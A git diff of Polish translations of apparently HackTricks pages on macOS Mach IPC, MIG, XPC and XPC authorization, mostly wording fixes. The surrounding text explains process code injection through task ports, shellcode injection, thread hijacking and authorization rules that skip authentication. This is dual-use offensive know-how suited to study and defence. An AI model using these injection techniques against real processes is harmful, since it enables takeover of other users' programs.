- **Martwa nazwa**, która nie jest rzeczywistym prawem portu, ale jedynie miejscem. Gdy port zostaje zniszczony, wszystkie istniejące prawa portu do portu zamieniają się w martwe nazwy.
|
||||
|
||||
**Zadania mogą przekazywać PRAWA WYSYŁANIA innym**, umożliwiając im wysyłanie wiadomości z powrotem. **PRAWA WYSYŁANIA mogą być również klonowane, więc zadanie może zduplikować i przekazać prawo trzeciemu zadaniu**. To, w połączeniu z pośrednim procesem znanym jako **serwer bootstrap**, umożliwia skuteczną komunikację między zadaniami.
|
||||
@ -61,7 +61,7 @@ Dla tych zdefiniowanych usług, **proces lookup różni się nieco**. Gdy nazwa
|
||||
|
||||
- Zadanie **B** inicjuje bootstrap **lookup** dla nazwy usługi.
|
||||
- **launchd** sprawdza, czy zadanie działa, a jeśli nie, **uruchamia** je.
|
||||
- Zadanie **A** (usługa) wykonuje **bootstrap check-in** (`bootstrap_check_in()`). Tutaj serwer **bootstrap** tworzy PRAWO WYSYŁANIA, zatrzymuje je i **przekazuje PRAWO ODBIORU do Zadania A**.
|
||||
- Zadanie **A** (usługa) wykonuje **bootstrap check-in** (`bootstrap_check_in()`). Tutaj serwer **bootstrap** tworzy PRAWO WYSYŁANIA, zachowuje je i **przekazuje PRAWO ODBIORU do Zadania A**.
|
||||
- launchd duplikuje **PRAWO WYSYŁANIA i wysyła je do Zadania B**.
|
||||
- Zadanie **B** generuje nowy port z **PRAWEM ODBIORU** i **PRAWEM WYSYŁANIA**, a następnie przekazuje **PRAWO WYSYŁANIA do Zadania A** (usługa), aby mogło wysyłać wiadomości do ZADANIA B (komunikacja dwukierunkowa).
|
||||
|
||||
@ -91,7 +91,7 @@ Początkowe pole **`msgh_bits`** jest bitmapą:
|
||||
|
||||
- Pierwszy bit (najbardziej znaczący) jest używany do wskazania, że wiadomość jest złożona (więcej na ten temat poniżej)
|
||||
- 3. i 4. bit są używane przez jądro
|
||||
- **5 najmniej znaczących bitów 2. bajtu** może być używane dla **vouchera**: inny typ portu do wysyłania kombinacji klucz/wartość.
|
||||
- **5 najmniej znaczących bitów 2. bajtu** może być używane dla **voucher**: inny typ portu do wysyłania kombinacji klucz/wartość.
|
||||
- **5 najmniej znaczących bitów 3. bajtu** może być używane dla **portu lokalnego**
|
||||
- **5 najmniej znaczących bitów 4. bajtu** może być używane dla **portu zdalnego**
|
||||
|
||||
@ -125,7 +125,7 @@ Inne pola nagłówka wiadomości to:
|
||||
> [!CAUTION]
|
||||
> Zauważ, że **wiadomości mach są wysyłane przez `mach port`**, który jest kanałem komunikacyjnym **z jednym odbiorcą** i **wieloma nadawcami** wbudowanym w jądro mach. **Wiele procesów** może **wysyłać wiadomości** do portu mach, ale w danym momencie tylko **jeden proces może z niego odczytać**.
|
||||
|
||||
Wiadomości są następnie formowane przez nagłówek **`mach_msg_header_t`**, po którym następuje **treść** i **trailer** (jeśli występuje) i może przyznać pozwolenie na odpowiedź na nią. W tych przypadkach jądro musi tylko przekazać wiadomość z jednego zadania do drugiego.
|
||||
Wiadomości są następnie formowane przez nagłówek **`mach_msg_header_t`**, po którym następuje **treść** i **trailer** (jeśli jest obecny) i może przyznać pozwolenie na odpowiedź. W tych przypadkach jądro musi tylko przekazać wiadomość z jednego zadania do drugiego.
|
||||
|
||||
**Trailer** to **informacja dodana do wiadomości przez jądro** (nie może być ustawiona przez użytkownika), która może być żądana przy odbiorze wiadomości z flagami `MACH_RCV_TRAILER_<trailer_opt>` (istnieje różna informacja, która może być żądana).
|
||||
|
||||
@ -153,7 +153,7 @@ mach_msg_descriptor_type_t type : 8;
|
||||
W 32 bitach wszystkie deskryptory mają 12B, a typ deskryptora znajduje się w 11. bajcie. W 64 bitach rozmiary się różnią.
|
||||
|
||||
> [!CAUTION]
|
||||
> Jądro skopiuje deskryptory z jednego zadania do drugiego, ale najpierw **tworząc kopię w pamięci jądra**. Ta technika, znana jako "Feng Shui", była nadużywana w kilku exploitach, aby **jądro skopiowało dane w swojej pamięci**, co pozwala procesowi wysyłać deskryptory do siebie. Następnie proces może odbierać wiadomości (jądro je zwolni).
|
||||
> Jądro skopiuje deskryptory z jednego zadania do drugiego, ale najpierw **tworząc kopię w pamięci jądra**. Ta technika, znana jako "Feng Shui", była nadużywana w kilku exploitach, aby **jądro skopiowało dane w swojej pamięci**, co pozwala procesowi wysyłać deskryptory do samego siebie. Następnie proces może odbierać wiadomości (jądro je zwolni).
|
||||
>
|
||||
> Możliwe jest również **wysłanie praw portu do podatnego procesu**, a prawa portu po prostu pojawią się w procesie (nawet jeśli nie obsługuje ich).
|
||||
|
||||
@ -425,7 +425,7 @@ Te zaczynające się **od** numeru **8** są **własnością demonów systemowyc
|
||||
- `host_statistics`: Uzyskaj statystyki hosta
|
||||
- `mach_memory_info`: Uzyskaj układ pamięci jądra
|
||||
- **Port Priv hosta**: Proces z **prawem SEND** do tego portu może wykonywać **uprzywilejowane działania**, takie jak wyświetlanie danych rozruchowych lub próba załadowania rozszerzenia jądra. **Proces musi być rootem**, aby uzyskać to uprawnienie.
|
||||
- Co więcej, aby wywołać API **`kext_request`**, konieczne jest posiadanie innych uprawnień **`com.apple.private.kext*`**, które są przyznawane tylko binarkom Apple.
|
||||
- Co więcej, aby wywołać API **`kext_request`**, potrzebne są inne uprawnienia **`com.apple.private.kext*`**, które są przyznawane tylko binarkom Apple.
|
||||
- Inne rutyny, które można wywołać, to:
|
||||
- `host_get_boot_info`: Uzyskaj `machine_boot_info()`
|
||||
- `host_priv_statistics`: Uzyskaj uprzywilejowane statystyki
|
||||
@ -459,12 +459,12 @@ world.*/
|
||||
|
||||
### Task Ports
|
||||
|
||||
Początkowo Mach nie miał "procesów", miał "zadania", które były uważane za bardziej kontener wątków. Gdy Mach został połączony z BSD, **każde zadanie było powiązane z procesem BSD**. Dlatego każdy proces BSD ma szczegóły, których potrzebuje, aby być procesem, a każde zadanie Mach ma również swoje wewnętrzne działanie (z wyjątkiem nieistniejącego pid 0, który jest `kernel_task`).
|
||||
Początkowo Mach nie miał "procesów", miał "zadania", które były uważane za bardziej kontener wątków. Gdy Mach został połączony z BSD, **każde zadanie było skorelowane z procesem BSD**. Dlatego każdy proces BSD ma szczegóły, których potrzebuje, aby być procesem, a każde zadanie Mach ma również swoje wewnętrzne działanie (z wyjątkiem nieistniejącego pid 0, który jest `kernel_task`).
|
||||
|
||||
Istnieją dwie bardzo interesujące funkcje związane z tym:
|
||||
|
||||
- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Uzyskaj prawo SEND dla portu zadania związanego z określonym przez `pid` i przekaż je do wskazanego `target_task_port` (który zazwyczaj jest zadaniem wywołującym, które użyło `mach_task_self()`, ale może być portem SEND w innym zadaniu).
|
||||
- `pid_for_task(task, &pid)`: Mając prawo SEND do zadania, znajdź, do którego PID to zadanie jest powiązane.
|
||||
- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Uzyskaj prawo SEND dla portu zadania związanego z określonym `pid` i przekaż je do wskazanego `target_task_port` (który zazwyczaj jest zadaniem wywołującym, które użyło `mach_task_self()`, ale może być portem SEND w innym zadaniu).
|
||||
- `pid_for_task(task, &pid)`: Mając prawo SEND do zadania, znajdź, do którego PID to zadanie jest związane.
|
||||
|
||||
Aby wykonać działania w ramach zadania, zadanie potrzebowało prawa `SEND` do siebie, wywołując `mach_task_self()` (które używa `task_self_trap` (28)). Z tym uprawnieniem zadanie może wykonać kilka działań, takich jak:
|
||||
|
||||
@ -477,7 +477,7 @@ Aby wykonać działania w ramach zadania, zadanie potrzebowało prawa `SEND` do
|
||||
- i więcej można znaleźć w [**mach/task.h**](https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX11.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/mach/task.h)
|
||||
|
||||
> [!CAUTION]
|
||||
> Zauważ, że mając prawo SEND do portu zadania **innego zadania**, możliwe jest wykonanie takich działań na innym zadaniu.
|
||||
> Zauważ, że mając prawo SEND do portu zadania **innego zadania**, możliwe jest wykonanie takich działań nad innym zadaniem.
|
||||
|
||||
Ponadto, port task_port jest również portem **`vm_map`**, który pozwala na **odczyt i manipulację pamięcią** wewnątrz zadania za pomocą funkcji takich jak `vm_read()` i `vm_write()`. To zasadniczo oznacza, że zadanie z prawami SEND do portu task_port innego zadania będzie mogło **wstrzyknąć kod do tego zadania**.
|
||||
|
||||
@ -485,11 +485,11 @@ Pamiętaj, że ponieważ **jądro jest również zadaniem**, jeśli ktoś zdoła
|
||||
|
||||
- Wywołaj `mach_task_self()` aby **uzyskać nazwę** dla tego portu dla zadania wywołującego. Ten port jest tylko **dziedziczony** przez **`exec()`**; nowe zadanie utworzone za pomocą `fork()` otrzymuje nowy port zadania (jako specjalny przypadek, zadanie również otrzymuje nowy port zadania po `exec()` w binarnym pliku suid). Jedynym sposobem na uruchomienie zadania i uzyskanie jego portu jest wykonanie ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) podczas wykonywania `fork()`.
|
||||
- Oto ograniczenia dostępu do portu (z `macos_task_policy` z binarnego `AppleMobileFileIntegrity`):
|
||||
- Jeśli aplikacja ma **`com.apple.security.get-task-allow` entitlement**, procesy od **tego samego użytkownika mogą uzyskać dostęp do portu zadania** (zwykle dodawane przez Xcode do debugowania). Proces **notaryzacji** nie pozwoli na to w wersjach produkcyjnych.
|
||||
- Jeśli aplikacja ma **`com.apple.security.get-task-allow` entitlement**, procesy od **tego samego użytkownika mogą uzyskać dostęp do portu zadania** (zwykle dodawane przez Xcode do debugowania). Proces **notarization** nie pozwoli na to w wersjach produkcyjnych.
|
||||
- Aplikacje z **`com.apple.system-task-ports`** entitlement mogą uzyskać **port zadania dla dowolnego** procesu, z wyjątkiem jądra. W starszych wersjach nazywało się to **`task_for_pid-allow`**. To jest przyznawane tylko aplikacjom Apple.
|
||||
- **Root może uzyskać dostęp do portów zadań** aplikacji **nie** skompilowanych z **hardened** runtime (i nie od Apple).
|
||||
|
||||
**Port nazwy zadania:** Nieuprzywilejowana wersja _portu zadania_. Odnosi się do zadania, ale nie pozwala na jego kontrolowanie. Jedyną rzeczą, która wydaje się być dostępna przez niego, jest `task_info()`.
|
||||
**Port nazwy zadania:** Nieuprzywilejowana wersja _portu zadania_. Odnosi się do zadania, ale nie pozwala na jego kontrolowanie. Jedyną rzeczą, która wydaje się być dostępna przez to, jest `task_info()`.
|
||||
|
||||
### Thread Ports
|
||||
|
||||
@ -774,7 +774,7 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
|
||||
W macOS **wątki** mogą być manipulowane za pomocą **Mach** lub używając **posix `pthread` api**. Wątek, który wygenerowaliśmy w poprzednim wstrzyknięciu, został wygenerowany za pomocą api Mach, więc **nie jest zgodny z posix**.
|
||||
|
||||
Możliwe było **wstrzyknięcie prostego shellcode** do wykonania polecenia, ponieważ **nie musiał działać z zgodnymi z posix** api, tylko z Mach. **Bardziej złożone wstrzyknięcia** wymagałyby, aby **wątek** był również **zgodny z posix**.
|
||||
Możliwe było **wstrzyknięcie prostego shellcode**, aby wykonać polecenie, ponieważ **nie musiał działać z api zgodnymi z posix**, tylko z Mach. **Bardziej złożone wstrzyknięcia** wymagałyby, aby **wątek** był również **zgodny z posix**.
|
||||
|
||||
Dlatego, aby **ulepszyć wątek**, powinien on wywołać **`pthread_create_from_mach_thread`**, co **utworzy ważny pthread**. Następnie ten nowy pthread mógłby **wywołać dlopen**, aby **załadować dylib** z systemu, więc zamiast pisać nowy shellcode do wykonywania różnych działań, można załadować niestandardowe biblioteki.
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
MIG został stworzony, aby **uprościć proces tworzenia kodu Mach IPC**. W zasadzie **generuje potrzebny kod** dla serwera i klienta do komunikacji z daną definicją. Nawet jeśli wygenerowany kod jest brzydki, programista będzie musiał tylko go zaimportować, a jego kod będzie znacznie prostszy niż wcześniej.
|
||||
MIG został stworzony, aby **uprościć proces tworzenia kodu Mach IPC**. W zasadzie **generuje potrzebny kod** dla serwera i klienta do komunikacji na podstawie danej definicji. Nawet jeśli wygenerowany kod jest brzydki, programista będzie musiał tylko go zaimportować, a jego kod będzie znacznie prostszy niż wcześniej.
|
||||
|
||||
Definicja jest określona w języku definicji interfejsu (IDL) z użyciem rozszerzenia `.defs`.
|
||||
|
||||
@ -12,7 +12,7 @@ Te definicje mają 5 sekcji:
|
||||
|
||||
- **Deklaracja podsystemu**: Słowo kluczowe subsystem jest używane do wskazania **nazwa** i **id**. Możliwe jest również oznaczenie go jako **`KernelServer`**, jeśli serwer ma działać w jądrze.
|
||||
- **Inkluzje i importy**: MIG używa preprocesora C, więc może korzystać z importów. Ponadto możliwe jest użycie `uimport` i `simport` dla kodu generowanego przez użytkownika lub serwer.
|
||||
- **Deklaracje typów**: Możliwe jest definiowanie typów danych, chociaż zazwyczaj zaimportuje `mach_types.defs` i `std_types.defs`. Dla niestandardowych można użyć pewnej składni:
|
||||
- **Deklaracje typów**: Możliwe jest zdefiniowanie typów danych, chociaż zazwyczaj zaimportuje `mach_types.defs` i `std_types.defs`. Dla niestandardowych można użyć pewnej składni:
|
||||
- \[i`n/out]tran`: Funkcja, która musi być przetłumaczona z wiadomości przychodzącej lub do wiadomości wychodzącej
|
||||
- `c[user/server]type`: Mapowanie na inny typ C.
|
||||
- `destructor`: Wywołaj tę funkcję, gdy typ jest zwalniany.
|
||||
@ -106,7 +106,7 @@ return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
||||
```
|
||||
W tym przykładzie zdefiniowaliśmy tylko 1 funkcję w definicjach, ale gdybyśmy zdefiniowali więcej funkcji, byłyby one wewnątrz tablicy **`SERVERPREFmyipc_subsystem`**, a pierwsza zostałaby przypisana do ID **500**, druga do ID **501**...
|
||||
|
||||
Jeśli oczekiwano, że funkcja wyśle **reply**, funkcja `mig_internal kern_return_t __MIG_check__Reply__<name>` również by istniała.
|
||||
Jeśli oczekiwano, że funkcja wyśle **odpowiedź**, funkcja `mig_internal kern_return_t __MIG_check__Reply__<name>` również by istniała.
|
||||
|
||||
W rzeczywistości możliwe jest zidentyfikowanie tej relacji w strukturze **`subsystem_to_name_map_myipc`** z **`myipcServer.h`** (**`subsystem*to_name_map*\***`\*\* w innych plikach):
|
||||
```c
|
||||
@ -149,7 +149,7 @@ return FALSE;
|
||||
}
|
||||
</code></pre>
|
||||
|
||||
Sprawdź wcześniej podkreślone linie uzyskujące dostęp do funkcji, aby wywołać według identyfikatora.
|
||||
Sprawdź wcześniej podkreślone linie uzyskujące dostęp do funkcji, aby wywołać ją według identyfikatora.
|
||||
|
||||
Poniższy kod tworzy prosty **serwer** i **klienta**, gdzie klient może wywołać funkcje Odejmij z serwera:
|
||||
|
||||
@ -217,7 +217,7 @@ USERPREFSubtract(port, 40, 2);
|
||||
|
||||
### NDR_record
|
||||
|
||||
NDR_record jest eksportowany przez `libsystem_kernel.dylib` i jest to struktura, która pozwala MIG na **transformację danych, aby były niezależne od systemu**, w którym jest używana, ponieważ MIG był zaprojektowany do użycia między różnymi systemami (a nie tylko na tej samej maszynie).
|
||||
NDR_record jest eksportowany przez `libsystem_kernel.dylib` i jest to struktura, która pozwala MIG na **transformację danych, aby były niezależne od systemu**, w którym są używane, ponieważ MIG był zaprojektowany do użycia między różnymi systemami (a nie tylko na tej samej maszynie).
|
||||
|
||||
To jest interesujące, ponieważ jeśli `_NDR_record` zostanie znaleziony w binarnym pliku jako zależność (`jtool2 -S <binary> | grep NDR` lub `nm`), oznacza to, że binarny plik jest klientem lub serwerem MIG.
|
||||
|
||||
@ -264,7 +264,7 @@ rax = *(int32_t *)(var_10 + 0x14);
|
||||
// 0x1f4 = 500 (początkowy ID)
|
||||
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
|
||||
</strong> var_20 = rax;
|
||||
// Jeśli - else, if zwraca fałsz, podczas gdy else wywołuje odpowiednią funkcję i zwraca prawdę
|
||||
// Jeśli - inaczej, if zwraca fałsz, podczas gdy else wywołuje odpowiednią funkcję i zwraca prawdę
|
||||
<strong> if (rax == 0x0) {
|
||||
</strong> *(var_18 + 0x18) = **_NDR_record;
|
||||
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
|
||||
@ -332,7 +332,7 @@ if (CPU_FLAGS & NE) {
|
||||
r8 = 0x1;
|
||||
}
|
||||
}
|
||||
// To samo if else jak w poprzedniej wersji
|
||||
// To samo if - else jak w poprzedniej wersji
|
||||
// Sprawdź użycie adresu 0x100004040 (tablica adresów funkcji)
|
||||
<strong> if ((r8 & 0x1) == 0x0) {
|
||||
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
||||
|
@ -9,7 +9,7 @@
|
||||
|
||||
## 1. Przejęcie wątku
|
||||
|
||||
Początkowo funkcja **`task_threads()`** jest wywoływana na porcie zadania, aby uzyskać listę wątków z zdalnego zadania. Wątek jest wybierany do przejęcia. To podejście różni się od konwencjonalnych metod wstrzykiwania kodu, ponieważ tworzenie nowego zdalnego wątku jest zabronione z powodu nowej mitigacji blokującej `thread_create_running()`.
|
||||
Początkowo wywoływana jest funkcja **`task_threads()`** na porcie zadania, aby uzyskać listę wątków z zdalnego zadania. Wątek jest wybierany do przejęcia. To podejście różni się od konwencjonalnych metod wstrzykiwania kodu, ponieważ tworzenie nowego zdalnego wątku jest zabronione z powodu nowej mitigacji blokującej `thread_create_running()`.
|
||||
|
||||
Aby kontrolować wątek, wywoływana jest **`thread_suspend()`**, zatrzymując jego wykonanie.
|
||||
|
||||
@ -93,7 +93,7 @@ Celem jest ustanowienie pamięci współdzielonej między lokalnymi a zdalnymi z
|
||||
1. **Alokacja Pamięci**:
|
||||
|
||||
- Przydziel pamięć do współdzielenia za pomocą `mach_vm_allocate()`.
|
||||
- Użyj `xpc_shmem_create()`, aby stworzyć obiekt `OS_xpc_shmem` dla przydzielonego regionu pamięci. Ta funkcja zarządza tworzeniem wpisu pamięci Mach i przechowuje prawo wysyłania Mach w przesunięciu `0x18` obiektu `OS_xpc_shmem`.
|
||||
- Użyj `xpc_shmem_create()`, aby utworzyć obiekt `OS_xpc_shmem` dla przydzielonego regionu pamięci. Ta funkcja zarządza tworzeniem wpisu pamięci Mach i przechowuje prawo wysyłania Mach w przesunięciu `0x18` obiektu `OS_xpc_shmem`.
|
||||
|
||||
2. **Tworzenie Pamięci Współdzielonej w Zdalnym Procesie**:
|
||||
|
||||
@ -150,7 +150,7 @@ Ta kompleksowa kontrola jest zawarta w bibliotece [threadexec](https://github.co
|
||||
## Ważne Rozważania:
|
||||
|
||||
- Zapewnij prawidłowe użycie `memcpy()` do operacji odczytu/zapisu pamięci, aby utrzymać stabilność systemu i integralność danych.
|
||||
- Podczas transferu portów Mach lub deskryptorów plików, przestrzegaj odpowiednich protokołów i odpowiedzialnie zarządzaj zasobami, aby zapobiec wyciekom lub niezamierzonym dostępom.
|
||||
- Przy transferze portów Mach lub deskryptorów plików, przestrzegaj odpowiednich protokołów i odpowiedzialnie zarządzaj zasobami, aby zapobiec wyciekom lub niezamierzonym dostępom.
|
||||
|
||||
Przestrzegając tych wytycznych i korzystając z biblioteki `threadexec`, można efektywnie zarządzać i interagować z procesami na szczegółowym poziomie, osiągając pełną kontrolę nad docelowym procesem.
|
||||
|
||||
|
@ -20,7 +20,7 @@ Jedynym **minusem** jest to, że **oddzielanie aplikacji na kilka procesów** i
|
||||
|
||||
Komponenty XPC aplikacji są **wewnątrz samej aplikacji.** Na przykład, w Safari można je znaleźć w **`/Applications/Safari.app/Contents/XPCServices`**. Mają rozszerzenie **`.xpc`** (jak **`com.apple.Safari.SandboxBroker.xpc`**) i są **również pakietami** z głównym binarnym w środku: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` oraz `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
|
||||
|
||||
Jak możesz pomyśleć, **komponent XPC będzie miał różne uprawnienia i przywileje** niż inne komponenty XPC lub główny binarny aplikacji. Z WYJĄTKIEM przypadku, gdy usługa XPC jest skonfigurowana z [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) ustawionym na „True” w swoim **pliku Info.plist**. W takim przypadku usługa XPC będzie działać w **tej samej sesji bezpieczeństwa co aplikacja**, która ją wywołała.
|
||||
Jak możesz pomyśleć, **komponent XPC będzie miał różne uprawnienia i przywileje** niż inne komponenty XPC lub główny binarny aplikacji. Z WYJĄTKIEM, gdy usługa XPC jest skonfigurowana z [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) ustawionym na „True” w swoim **pliku Info.plist**. W takim przypadku usługa XPC będzie działać w **tej samej sesji bezpieczeństwa co aplikacja**, która ją wywołała.
|
||||
|
||||
Usługi XPC są **uruchamiane** przez **launchd** w razie potrzeby i **zatrzymywane** po zakończeniu wszystkich zadań, aby zwolnić zasoby systemowe. **Komponenty XPC specyficzne dla aplikacji mogą być wykorzystywane tylko przez aplikację**, co zmniejsza ryzyko związane z potencjalnymi lukami.
|
||||
|
||||
@ -72,7 +72,7 @@ Każda wiadomość XPC jest obiektem słownika, który upraszcza serializację i
|
||||
Ponadto, funkcja `xpc_copy_description(object)` może być używana do uzyskania reprezentacji tekstowej obiektu, co może być przydatne do celów debugowania.\
|
||||
Te obiekty mają również pewne metody do wywołania, takie jak `xpc_<object>_copy`, `xpc_<object>_equal`, `xpc_<object>_hash`, `xpc_<object>_serialize`, `xpc_<object>_deserialize`...
|
||||
|
||||
Obiekty `xpc_object_t` są tworzone przez wywołanie funkcji `xpc_<objetType>_create`, która wewnętrznie wywołuje `_xpc_base_create(Class, Size)`, gdzie wskazany jest typ klasy obiektu (jeden z `XPC_TYPE_*`) oraz jego rozmiar (do rozmiaru dodawane jest dodatkowe 40B na metadane). Oznacza to, że dane obiektu będą zaczynać się od przesunięcia 40B.\
|
||||
Obiekty `xpc_object_t` są tworzone przez wywołanie funkcji `xpc_<objetType>_create`, która wewnętrznie wywołuje `_xpc_base_create(Class, Size)`, gdzie wskazany jest typ klasy obiektu (jeden z `XPC_TYPE_*`) oraz jego rozmiar (do rozmiaru zostanie dodane dodatkowe 40B na metadane). Co oznacza, że dane obiektu będą zaczynały się od przesunięcia 40B.\
|
||||
Dlatego `xpc_<objectType>_t` jest rodzajem podklasy `xpc_object_t`, która byłaby podklasą `os_object_t*`.
|
||||
|
||||
> [!WARNING]
|
||||
@ -83,7 +83,7 @@ Dlatego `xpc_<objectType>_t` jest rodzajem podklasy `xpc_object_t`, która była
|
||||
**`xpc_pipe`** to rura FIFO, którą procesy mogą używać do komunikacji (komunikacja wykorzystuje wiadomości Mach).\
|
||||
Możliwe jest utworzenie serwera XPC, wywołując `xpc_pipe_create()` lub `xpc_pipe_create_from_port()`, aby utworzyć go za pomocą konkretnego portu Mach. Następnie, aby odbierać wiadomości, można wywołać `xpc_pipe_receive` i `xpc_pipe_try_receive`.
|
||||
|
||||
Należy zauważyć, że obiekt **`xpc_pipe`** jest **`xpc_object_t`** z informacjami w swojej strukturze o dwóch używanych portach Mach oraz nazwie (jeśli istnieje). Nazwa, na przykład, demona `secinitd` w jego plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist` konfiguruje rurę o nazwie `com.apple.secinitd`.
|
||||
Należy zauważyć, że obiekt **`xpc_pipe`** jest **`xpc_object_t`** z informacjami w swojej strukturze o dwóch używanych portach Mach i nazwie (jeśli istnieje). Nazwa, na przykład, demona `secinitd` w jego plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist` konfiguruje rurę o nazwie `com.apple.secinitd`.
|
||||
|
||||
Przykładem **`xpc_pipe`** jest **bootstrap pipe** utworzona przez **`launchd`**, co umożliwia udostępnianie portów Mach.
|
||||
|
||||
@ -128,7 +128,7 @@ macos-xpc-connecting-process-check/
|
||||
|
||||
## Autoryzacja XPC
|
||||
|
||||
Apple pozwala również aplikacjom na **konfigurowanie pewnych praw i sposobów ich uzyskania**, więc jeśli wywołujący proces je ma, będzie **mógł wywołać metodę** z usługi XPC:
|
||||
Apple pozwala również aplikacjom na **konfigurowanie niektórych praw i sposobów ich uzyskania**, więc jeśli wywołujący proces je ma, będzie **mógł wywołać metodę** z usługi XPC:
|
||||
|
||||
{{#ref}}
|
||||
macos-xpc-authorization.md
|
||||
@ -439,10 +439,10 @@ return;
|
||||
```
|
||||
## Remote XPC
|
||||
|
||||
Funkcjonalność ta dostarczana przez `RemoteXPC.framework` (z `libxpc`) umożliwia komunikację za pomocą XPC między różnymi hostami.\
|
||||
Funkcjonalność ta dostarczana przez `RemoteXPC.framework` (z `libxpc`) pozwala na komunikację za pomocą XPC między różnymi hostami.\
|
||||
Usługi, które obsługują zdalne XPC, będą miały w swoim plist klucz UsesRemoteXPC, jak ma to miejsce w przypadku `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist`. Jednakże, chociaż usługa będzie zarejestrowana w `launchd`, to `UserEventAgent` z wtyczkami `com.apple.remoted.plugin` i `com.apple.remoteservicediscovery.events.plugin` zapewnia tę funkcjonalność.
|
||||
|
||||
Ponadto, `RemoteServiceDiscovery.framework` umożliwia uzyskanie informacji z `com.apple.remoted.plugin`, udostępniając funkcje takie jak `get_device`, `get_unique_device`, `connect`...
|
||||
Ponadto, `RemoteServiceDiscovery.framework` pozwala na uzyskanie informacji z `com.apple.remoted.plugin`, udostępniając funkcje takie jak `get_device`, `get_unique_device`, `connect`...
|
||||
|
||||
Gdy `connect` zostanie użyty i gniazdo `fd` usługi zostanie zebrane, możliwe jest użycie klasy `remote_xpc_connection_*`.
|
||||
|
||||
|
@ -27,7 +27,7 @@ newConnection.exportedObject = self;
|
||||
return YES;
|
||||
}
|
||||
```
|
||||
Aby uzyskać więcej informacji na temat prawidłowej konfiguracji tego sprawdzenia, zobacz:
|
||||
Dla uzyskania dodatkowych informacji na temat prawidłowej konfiguracji tego sprawdzenia:
|
||||
|
||||
{{#ref}}
|
||||
macos-xpc-connecting-process-check/
|
||||
@ -35,7 +35,7 @@ macos-xpc-connecting-process-check/
|
||||
|
||||
### Prawa aplikacji
|
||||
|
||||
Jednakże, **zachodzi pewna autoryzacja, gdy wywoływana jest metoda z HelperTool**.
|
||||
Jednakże, zachodzi pewne **autoryzowanie, gdy wywoływana jest metoda z HelperTool**.
|
||||
|
||||
Funkcja **`applicationDidFinishLaunching`** z `App/AppDelegate.m` utworzy pusty odnośnik autoryzacji po uruchomieniu aplikacji. To powinno zawsze działać.\
|
||||
Następnie spróbuje **dodać pewne prawa** do tego odnośnika autoryzacji, wywołując `setupAuthorizationRights`:
|
||||
@ -232,7 +232,7 @@ Zauważ, że aby **sprawdzić wymagania do uzyskania** prawa do wywołania tej m
|
||||
|
||||
W tym przypadku, aby wywołać funkcję `readLicenseKeyAuthorization`, `kCommandKeyAuthRightDefault` jest zdefiniowane jako `@kAuthorizationRuleClassAllow`. Tak więc **każdy może to wywołać**.
|
||||
|
||||
### Informacje o DB
|
||||
### DB Information
|
||||
|
||||
Wspomniano, że te informacje są przechowywane w `/var/db/auth.db`. Możesz wylistować wszystkie przechowywane reguły za pomocą:
|
||||
```sql
|
||||
@ -252,9 +252,9 @@ Możesz znaleźć **wszystkie konfiguracje uprawnień** [**tutaj**](https://www.
|
||||
- To jest najprostszy klucz. Jeśli ustawiony na `false`, oznacza, że użytkownik nie musi podawać uwierzytelnienia, aby uzyskać to prawo.
|
||||
- Używa się go w **kombinacji z jednym z 2 poniżej lub wskazując grupę**, do której użytkownik musi należeć.
|
||||
2. **'allow-root': 'true'**
|
||||
- Jeśli użytkownik działa jako użytkownik root (który ma podwyższone uprawnienia), a ten klucz jest ustawiony na `true`, użytkownik root może potencjalnie uzyskać to prawo bez dalszego uwierzytelnienia. Jednak zazwyczaj uzyskanie statusu użytkownika root już wymaga uwierzytelnienia, więc to nie jest scenariusz "bez uwierzytelnienia" dla większości użytkowników.
|
||||
- Jeśli użytkownik działa jako użytkownik root (który ma podwyższone uprawnienia), a ten klucz jest ustawiony na `true`, użytkownik root może potencjalnie uzyskać to prawo bez dalszego uwierzytelnienia. Jednak zazwyczaj uzyskanie statusu użytkownika root już wymaga uwierzytelnienia, więc nie jest to scenariusz "bez uwierzytelnienia" dla większości użytkowników.
|
||||
3. **'session-owner': 'true'**
|
||||
- Jeśli ustawione na `true`, właściciel sesji (aktualnie zalogowany użytkownik) automatycznie uzyska to prawo. Może to obejść dodatkowe uwierzytelnienie, jeśli użytkownik jest już zalogowany.
|
||||
- Jeśli ustawiony na `true`, właściciel sesji (aktualnie zalogowany użytkownik) automatycznie uzyska to prawo. Może to obejść dodatkowe uwierzytelnienie, jeśli użytkownik jest już zalogowany.
|
||||
4. **'shared': 'true'**
|
||||
- Ten klucz nie przyznaje praw bez uwierzytelnienia. Zamiast tego, jeśli ustawiony na `true`, oznacza, że po uwierzytelnieniu prawa mogą być dzielone między wieloma procesami, bez potrzeby ponownego uwierzytelniania każdego z nich. Jednak początkowe przyznanie prawa nadal wymagałoby uwierzytelnienia, chyba że połączone z innymi kluczami, takimi jak `'authenticate-user': 'false'`.
|
||||
|
||||
@ -277,7 +277,7 @@ Jeśli znajdziesz funkcję: **`[HelperTool checkAuthorization:command:]`**, praw
|
||||
|
||||
<figure><img src="../../../../../images/image (42).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
